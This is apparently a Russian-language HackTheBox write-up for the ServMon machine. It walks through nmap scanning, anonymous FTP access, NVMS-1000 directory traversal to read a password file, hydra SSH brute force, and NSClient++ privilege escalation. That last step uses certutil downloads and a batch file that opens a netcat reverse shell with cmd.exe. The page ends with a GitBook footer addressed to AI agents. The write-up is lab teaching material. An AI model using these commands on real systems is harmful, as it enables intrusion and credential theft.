> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md). # Разбор ServMon HackTheBox Эксплуатация ServMon через NVMS-1000 и NSClient++. {% embed url="" %} {% hint style="warning" %} **Навыки:** * Сетевой разведывательный анализ и перечисление FTP * Обход каталогов NVMS-1000 * Повышение привилегий NSClient++ через внешние скрипты {% endhint %} ## Разведка Создайте рабочую область и подтвердите, что цель доступна. ```bash mkdir {nmap,content,exploits,scripts} ping -c 1 10.129.227.77 ``` TTL указывает на хост Windows.
Выполните полный TCP-скан. ```bash sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts ```
Сканирование выявляет следующие открытые порты: > 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670
Определите доступные службы и версии. {% code overflow="wrap" %} ```bash nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted ``` {% endcode %} Нужные результаты: {% code overflow="wrap" %} ```java # Сканирование Nmap 7.93 начато Wed Sep 23 10:50:11 2026 как: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77 Отчёт Nmap для 10.129.227.77 Хост доступен (задержка 0.030s). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Разрешён анонимный вход по FTP (код FTP 230) |_02-28-22 07:35PM Users 22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0) | ssh-hostkey: | 3072 c71af681ca1778d027dbcd462a092b54 (RSA) | 256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA) |_ 256 5a48c8cd39782129effbae821d03adaf (ED25519) 80/tcp open http | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | | | | | | | | | | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: |_http-title: У сайта нет заголовка (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5666/tcp open tcpwrapped 6063/tcp open tcpwrapped 6699/tcp open napster? 8443/tcp open ssl/https-alt | http-title: NSClient++ |_Запрошенный ресурс был /index.html |_ssl-date: Случайные данные TLS не отражают время | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Document not found | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | ssl-cert: Subject: commonName=localhost | Действителен до: 2020-01-14T13:24:20 |_Не действителен после: 2021-01-13T13:24:20 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 2 службы не распознаны, несмотря на получение данных. Если вам известна служба/версия, отправьте следующие отпечатки по адресу https://nmap.org/cgi-bin/submit.cgi?new-service : ==============СЛЕДУЮЩИЙ ОТПЕЧАТОК СЛУЖБЫ (ОТПРАВЛЯТЬ ОТДЕЛЬНО)============== SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x SF:20\r\n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\ SF:x20\x20\x20\r\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2 SF:0\x20\x20\x20\r\n\r\n\r\n\r\n\r\n") SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\ SF:n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x SF:20\x20\r\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20 SF:\x20\x20\r\n\r\n\r\n\r\n\r\n")%r(RT SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n SF:\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x2 SF:0\r\n\x20\x20\x20\x20\x20\x20\x20\x SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\ SF:x20\r\n\r\n\r\n\r\n\r\n"); ==============СЛЕДУЮЩИЙ ОТПЕЧАТОК СЛУЖБЫ (ОТПРАВЛЯТЬ ОТДЕЛЬНО)============== SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03 SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/ SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")% SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len SF:gth:\x2018\r\n\r\nDocument\x20not\x20found"); Информация о службе: ОС: Windows; CPE: cpe:/o:microsoft:windows Результаты скриптов хоста: | smb2-security-mode: | 311: |_ Подпись сообщений включена, но не требуется | smb2-time: | date: 2026-09-23T08:52:06 |_ start_date: N/A Обнаружение служб выполнено. Сообщите о любых некорректных результатах на https://nmap.org/submit/ . # Nmap завершён Wed Sep 23 10:52:19 2026 -- просканирован 1 IP-адрес (1 хост доступен) за 128.03 секунд ``` {% endcode %} ### Перечисление FTP Разрешён анонимный доступ по FTP. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.227.77 ``` {% endcode %}
Эта `Users/Nadine` в каталоге есть записка для Nathan. {% code overflow="wrap" %} ```bash Nathan, Я оставила твой файл Passwords.txt на рабочем столе. Пожалуйста, удали его после того, как сам его отредактируешь, и помести обратно в защищённую папку. С уважением Nadine ``` {% endcode %}
Каталог Nathan содержит следующий список задач: {% code overflow="wrap" %} ```bash 1) Изменить пароль для NVMS - Завершено 2) Ограничить доступ NSClient - Завершено 3) Загрузить пароли 4) Удалить публичный доступ к NVMS 5) Поместить секретные файлы в SharePoint ``` {% endcode %}
### Обход каталогов NVMS-1000 Порт `80` хост NVMS-1000.
Searchsploit выявляет уязвимость обхода каталогов. {% code overflow="wrap" %} ```bash searchsploit nvms 1000 ``` {% endcode %}
Следующий PoC подтверждает включение локальных файлов: {% embed url="" %} {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini ``` {% endcode %} Ответ подтверждает, что доступны для чтения произвольные локальные файлы.
Прочтите файл паролей Nathan: {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt ``` {% endcode %} > 1nsp3ctTh3Way2Mars!\ > Th3r34r3To0M4nyTrait0r5!\ > B3WithM30r4ga1n5tMe\ > L1k3B1gBut7s\@W0rk\ > 0nly7h3y0unGWi11F0l10w\ > IfH3s4b0Utg0t0H1sH0me\ > Gr4etN3w5w17hMySk1Pa5$
Проверьте восстановленные пароли на известных локальных пользователях. 
hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
Это позволяет определить действительные SSH-учётные данные: * nadine * L1k3B1gBut7s\@W0rk
Подключитесь по SSH как Nadine. {% code overflow="wrap" %} ```bash ssh nadine@10.129.227.77 ``` {% endcode %} Прочтите пользовательский флаг. {% code overflow="wrap" %} ```bash type C:\Users\Nadine\Desktop\user.txt ``` {% endcode %}
## Повышение привилегий с NSClient++ NSClient++ установлен в `C:\Program Files`.
Покажите пароль веб-интерфейса NSClient++. {% code overflow="wrap" %} ```bash nscp web -- password --display ``` {% endcode %} * ew2x6SsGTxjRwXOT
Веб-интерфейс прослушивает порт `8443`. ### Настройте внешний скрипт NSClient++ Этот метод следует опубликованному руководству по эксплуатации уязвимости NSClient++. {% embed url="" %} Подтвердите установленную версию NSClient++. {% code overflow="wrap" %} ```bash nscp --version ``` {% endcode %}
Служба привязана локально. Получите доступ к ней через SSH-туннель.
давайте сделаем проброс портов {% code overflow="wrap" %} ```bash ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77 ``` {% endcode %} Откройте `https://127.0.0.1:8443` и выполните аутентификацию с помощью восстановленного пароля.
Убедитесь, что эти модули включены: ```bash CheckExternalScripts Scheduler ```
Передайте `nc.exe` и полезную нагрузку на целевую машину. {% code overflow="wrap" %} ```bash найдите nc.exe mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe . python3 -m http.server 8081 ``` {% endcode %} На целевой машине скачайте оба файла: {% code overflow="wrap" %} ```bash certutil -urlcache -split -f "http://:8081/nc.exe" nc.exe certutil -urlcache -split -f "http://:8081/evil.bat" evil.bat ``` {% endcode %} Создайте `evil.bat` на целевой машине: {% code overflow="wrap" %} ```bash @echo off C:\Users\Nadine\Desktop\nc.exe 443 -e cmd.exe ``` {% endcode %} Запустите прослушиватель на порту `443`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 443 ``` {% endcode %}
Создайте внешний скрипт в веб-интерфейсе NSClient++: {% code overflow="wrap" %} ```bash Настройки > Внешние скрипты > Скрипты Раздел: /settings/external scripts/scripts/evil Ключ : command Значение: C:\Users\Nadine\Desktop\evil.bat ``` {% endcode %}
Создайте расписание в **Settings → Scheduler → Schedules**. Установите интервал: {% code overflow="wrap" %} ```bash Раздел: /settings/scheduler/schedules/evil Ключ: interval Значение: 1m ``` {% endcode %}
Настройте запланированную команду: {% code overflow="wrap" %} ```bash Раздел: /settings/scheduler/schedules/evil Ключ: command Значение: evil ``` {% endcode %}
Сохраните настройки и перезапустите службу.
Выполните запрос, чтобы запустить запланированный скрипт. Прослушиватель получит оболочку от `SYSTEM`.
Прочтите root-флаг. {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.